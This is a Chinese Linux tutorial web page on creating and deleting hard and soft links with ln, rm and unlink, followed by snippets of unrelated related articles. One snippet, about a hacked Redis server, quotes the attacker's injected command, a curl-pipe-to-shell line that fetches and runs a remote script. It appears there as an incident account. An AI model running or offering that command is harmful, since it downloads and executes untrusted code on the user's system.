Linux链接的创建,删除,修改
目录
- 1. 概述
- 2. 硬链接
- 2.1 创建硬链接
- 2.2 删除硬链接
- 3. 软链接
- 3.1 创建软链接
- 3.2 删除软链接
- 5. 常用的终端工具下载
计算机基础–Linux详解
1. 概述
在Linux系统中,链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用,从而允许同一个文件在多个位置上被访问。在Linux系统中,有两种主要类型的链接:硬链接和符号链接(也称为软链接)。
硬链接: 硬链接是指在文件系统中创建的一个文件的另一个名称。当创建硬链接时,实际上是在文件系统中为相同的文件分配了另一个目录项。这意味着一个文件可以有多个硬链接,它们实际上都指向相同的数据块。硬链接与原始文件之间没有所谓的"原文件"和"副本"的概念,它们只是同一个文件的不同名称。硬链接的创建只能在同一个文件系统中进行,因为硬链接是基于inode的,而不同的文件系统可能会有不同的inode。
符号链接(软链接): 符号链接是指创建的一个特殊类型的文件,它包含了指向另一个文件或目录的路径。与硬链接不同,符号链接实际上是一个指向另一个文件或目录的符号。这意味着符号链接与原始文件之间存在一个间接的关系,而不是像硬链接那样直接指向相同的数据块。符号链接可以跨越文件系统边界,因为它们只是包含了路径信息,而不是直接基于inode。
链接的作用: 链接在Linux系统中具有多种作用。首先,它们允许用户创建文件的多个引用,这在组织文件和目录结构时非常有用。其次,链接可以用于创建指向共享库或其他系统文件的引用,从而使系统更加灵活和可配置。此外,链接还可以用于创建快捷方式或符号链接,使用户可以方便地访问文件或目录。
在Linux系统中,链接是一个重要的文件系统概念,它为用户提供了一种有效的方式来管理文件和目录。通过理解硬链接和符号链接的特性和用途,用户可以更好地利用链接来组织文件系统,提高系统的灵活性和可维护性。同时,链接也是Linux系统中一个非常强大的功能,对于文件管理和系统配置都具有重要意义。
2. 硬链接
在Linux系统中,硬链接是通过文件系统的inode和目录项来实现的。每个文件在Linux文件系统中都有一个唯一的inode,它包含了文件的元数据信息,如文件的权限、所有者、大小等。当创建一个硬链接时,实际上是创建了一个新的目录项,这个目录项指向了原始文件的inode。这意味着硬链接与原始文件共享相同的inode和数据块,它们实际上是同一个文件的不同名称。
当创建一个硬链接时,文件系统会在目标目录下创建一个新的目录项,该目录项包含了新的文件名和指向原始文件inode的引用。这样,原始文件和硬链接之间就建立了一个一对多的关系,多个目录项指向同一个inode。这也是为什么硬链接只能在同一个文件系统中创建,因为不同文件系统的inode是不同的。
当对硬链接文件进行修改时,实际上是对原始文件的inode进行的修改,因为它们共享相同的inode。这意味着无论是原始文件还是硬链接文件,对文件内容的修改都会影响到其他所有的硬链接文件。
另外,硬链接与原始文件之间没有所谓的"原文件"和"副本"的概念,它们只是同一个文件的不同名称。这意味着对于操作系统来说,硬链接文件和原始文件没有本质上的区别,它们都是同一个文件的不同引用。这也是为什么删除原始文件并不会影响已经创建的硬链接文件的原因。
总的来说,硬链接是Linux文件系统中一个非常有用的特性,它允许用户创建文件的多个引用,提高了文件系统的灵活性和可维护性。通过理解硬链接的实现原理和特性,用户可以更好地利用硬链接来组织文件系统,管理文件和目录。
2.1 创建硬链接
语法:
ln [选项] <源文件或目录> <目标文件或目录>
-s:创建符号链接(软链接)。
-f:强制创建链接,覆盖已存在的文件。
-n:不要覆盖已存在的目标文件。
-i:在创建符号链接时提示是否覆盖已存在的目标文件。
-v:显示详细信息,即显示创建链接的过程。
# 为1.txt文件创建一个硬连接文件11.txt
ln 1.txt 11.txt
2.2 删除硬链接
可以使用rm命令或unlink函数。
语法:
unlink [选项] 文件名
rm 11.txt
#或者
unlink 11.txt
3. 软链接
在Linux系统中,软链接(也称为符号链接)是一种特殊的文件类型,它包含了指向另一个文件或目录的路径。软链接的实现原理与硬链接有所不同。
软链接是通过创建一个新的inode和数据块来实现的。当创建一个软链接时,实际上是创建了一个新的文件,该文件包含了指向原始文件或目录的路径信息。这个新的文件与原始文件或目录之间没有直接的关联,而是通过路径信息进行关联。
当创建一个软链接时,文件系统会在目标目录下创建一个新的目录项,该目录项包含了新的文件名和指向原始文件或目录的路径信息。这样,软链接文件与原始文件或目录之间就建立了一种类似快捷方式的关系。
与硬链接不同的是,软链接文件和原始文件或目录是两个独立的文件,它们有不同的inode和数据块。因此,软链接文件和原始文件或目录之间的修改不会相互影响。另外,软链接也可以跨越不同的文件系统进行创建,因为它们之间没有直接的inode关联。
3.1 创建软链接
语法:
ln -s 原文件 链接文件
# 为1.txt文件创建一个软连接文件2.txt
ln -s 1.txt 2.txt
3.2 删除软链接
语法:
rm 链接文件
# 删除软连接文件2.txt
rm 2.txt
5. 常用的终端工具下载
OpenSSH下载
PuTTY下载
SecureCRT下载
WinSCP下载
MobaXTerm下载
相关文章:

Linux链接的创建,删除,修改
目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中,链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用,…...

HarmoryOS Ability页面的生命周期
接入穿山甲SDK app示例: android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK,实现app流量变现 Ability页面的生命周期 学习前端,第一步最重要的是要理解,页面启动和不同场景下的生命周期的…...
【Flink 从入门到成神系列 一】算子
👏作者简介:大家好,我是爱敲代码的小黄,阿里巴巴淘天Java开发工程师,CSDN博客专家📕系列专栏:Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列🔥如果感觉博主的文章还不错…...
无人机自主寻优降落在移动车辆
针对无人机寻找并降落在移动车辆上的问题,一套可能的研究总体方案: 问题定义与建模: 确定研究的具体范围和目标,包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型(MDP)…...

科技感十足界面模板
科技感界面 在强调简洁的科技类产品相关设计中,背景多数分为:颜色或写实图片两种。 颜色很好理解,大多以深色底为主。强调一种神秘感和沉稳感,同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用,就要求其…...
pytest装饰器 @pytest.mark.parametrize 使用方法
pytest.mark.parametrize 有三种传参方法,分别是: 1.列表传参:将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参:将参数值作为元组传递给装饰器。 pytes…...

redis被攻击
之前由于redis没有修改端口,密码也比较简单,也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本,比如:Back1 Back2 Back3 Back4 ,内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式,如下…...

二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明
处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置;默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...

【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024
AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers 👉上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...

Unity组件开发--升降梯
我开发的升降梯由三个部分组成,反正适用于我的需求了,其他人想复用到自己的项目的话,不一定。写的也不是很好,感觉搞的有点复杂啦。完全可以在优化一下,项目赶工期,就先这样吧。能用就行,其他的…...

插槽slot涉及到的样式污染问题
1. 前言 本次我们主要结合一些案例研究一下vue的插槽中样式污染问题。在这篇文章中,我们主要关注以下两点: 父组件的样式是否会影响子组件的样式?子组件的样式是否会影响父组件定义的插槽部分的样式? 2. 准备代码 2.1 父组件代码 <te…...

OpenCV-Python(25):Hough直线变换
目标 理解霍夫变换的概念学习如何在一张图片中检测直线学习函数cv2.HoughLines()和cv2.HoughLinesP() 原理 霍夫变换在检测各种形状的的技术中非常流行。如果你要检测的形状可以用数学表达式写出来,你就可以是使用霍夫变换检测它。即使检测的形状存在一点破坏或者…...
python接口自动化(七)--状态码详解对照表(详解)
1.简介 我们为啥要了解状态码,从它的作用,就不言而喻了。如果不了解,我们就会像个无头苍蝇,横冲直撞。遇到问题也不知道从何处入手,就是想找别人帮忙,也不知道是找前端还是后端的工程师。 状态码的作用是&a…...
Android 实现动态申请各项权限
在Android应用中,如果需要使用一些敏感的权限(例如相机、位置等),需要经过用户的授权才能访问。在Android 6.0(API级别23)及以上的版本中,引入了动态权限申请机制。以下是在Android应用中实现动…...

【leetcode】力扣热门之合并两个有序列表【简单难度】
题目描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 用例 输入:l1 [1,2,4], l2 [1,3,4] 输出:[1,1,2,3,4,4] 输入:l1 [], l2 [] 输出:[] 输入:l1 []…...

安全与认证Week3 Tutorial+历年题补充
目录 1) 什么是重放攻击? 2)什么是Kerberos系统?它提供什么安全服务? 3)服务器验证客户端身份的一种简单方法是要求提供密码。在Kerberos中不使用这种身份验证,为什么?Kerberos如何对服务器和客户机进行身份验证? 4) Kerberos的四个要求是什么?Kerberos系…...
【Kotlin】协程
Kotlin协程 背景定义实践GlobalScope.launchrunBlocking业务实践 背景 在项目实践过程中,笔者发现很多异步或者耗时的操作,都使用了Kotlin中的协程,所以特地研究了一番。 定义 关于协程(Coroutine),其实…...

Scikit-Learn线性回归(五)
Scikit-Learn线性回归五:岭回归与Lasso回归 1、误差与模型复杂度2、范数与正则化2.1、范数2.2、正则化3、Scikit-Learn Ridge回归(岭回归)4、Scikit-Learn Lasso回归1、误差与模型复杂度 在第二篇文章 Scikit-Learn线性回归(二) 中,我们已经给出了过拟合与模型泛化的概念并…...

React(2): 使用 html2canvas 生成图片
使用 html2canvas 生成图片 需求 将所需的内容生成图片div 中包括 svg 等 前置准备 "react": "^18.2.0","react-dom": "^18.2.0","html2canvas": "^1.4.1",实现 <div ref{payRef}></div>const pa…...

CAN物理层协议介绍
目录 编辑 1. CAN协议简介 2. CAN物理层 3. 通讯节点 4. 差分信号 5. CAN协议中的差分信号 1. CAN协议简介 CAN是控制器局域网络(Controller Area Network)的简称,它是由研发和生产汽车电子产品著称的德国BOSCH公司开发的,并最终成为国际标准(ISO11519) ࿰…...

VB.net复制Ntag213卡写入UID
本示例使用的发卡器:https://item.taobao.com/item.htm?ftt&id615391857885 一、读取旧Ntag卡的UID和数据 Private Sub Button15_Click(sender As Object, e As EventArgs) Handles Button15.Click轻松读卡技术支持:网站:Dim i, j As IntegerDim cardidhex, …...

23-Oracle 23 ai 区块链表(Blockchain Table)
小伙伴有没有在金融强合规的领域中遇见,必须要保持数据不可变,管理员都无法修改和留痕的要求。比如医疗的电子病历中,影像检查检验结果不可篡改行的,药品追溯过程中数据只可插入无法删除的特性需求;登录日志、修改日志…...
linux 下常用变更-8
1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行,YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID: YW3…...

k8s业务程序联调工具-KtConnect
概述 原理 工具作用是建立了一个从本地到集群的单向VPN,根据VPN原理,打通两个内网必然需要借助一个公共中继节点,ktconnect工具巧妙的利用k8s原生的portforward能力,简化了建立连接的过程,apiserver间接起到了中继节…...

2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...

保姆级教程:在无网络无显卡的Windows电脑的vscode本地部署deepseek
文章目录 1 前言2 部署流程2.1 准备工作2.2 Ollama2.2.1 使用有网络的电脑下载Ollama2.2.2 安装Ollama(有网络的电脑)2.2.3 安装Ollama(无网络的电脑)2.2.4 安装验证2.2.5 修改大模型安装位置2.2.6 下载Deepseek模型 2.3 将deepse…...
Java求职者面试指南:计算机基础与源码原理深度解析
Java求职者面试指南:计算机基础与源码原理深度解析 第一轮提问:基础概念问题 1. 请解释什么是进程和线程的区别? 面试官:进程是程序的一次执行过程,是系统进行资源分配和调度的基本单位;而线程是进程中的…...

【C++特殊工具与技术】优化内存分配(一):C++中的内存分配
目录 一、C 内存的基本概念 1.1 内存的物理与逻辑结构 1.2 C 程序的内存区域划分 二、栈内存分配 2.1 栈内存的特点 2.2 栈内存分配示例 三、堆内存分配 3.1 new和delete操作符 4.2 内存泄漏与悬空指针问题 4.3 new和delete的重载 四、智能指针…...
腾讯云V3签名
想要接入腾讯云的Api,必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口,但总是卡在签名这一步,最后放弃选择SDK,这次终于自己代码实现。 可能腾讯云翻新了接口文档,现在阅读起来,清晰了很多&…...

关于easyexcel动态下拉选问题处理
前些日子突然碰到一个问题,说是客户的导入文件模版想支持部分导入内容的下拉选,于是我就找了easyexcel官网寻找解决方案,并没有找到合适的方案,没办法只能自己动手并分享出来,针对Java生成Excel下拉菜单时因选项过多导…...